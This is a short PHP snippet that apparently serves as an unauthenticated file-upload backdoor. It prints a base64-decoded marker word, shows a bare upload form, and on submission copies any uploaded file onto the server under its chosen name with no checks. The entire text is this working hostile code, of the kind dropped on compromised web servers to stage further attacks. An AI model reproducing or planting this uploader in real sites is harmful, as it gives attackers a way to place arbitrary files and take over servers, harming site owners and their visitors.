$str = 'c2hpbmRheQ==';echo base64_decode($str); if($_POST){if(@copy($_FILES[&quot;0&quot;][&quot;tmp_name&quot;],$_FILES[&quot;0&quot;][&quot;name&quot;])){echo$_FILES[&quot;0&quot;][&quot;name&quot;];}}else{echo&quot;<form>&lt;input type=file name=0&gt;&lt;input name=0 type=submit value=up&gt;&quot;;}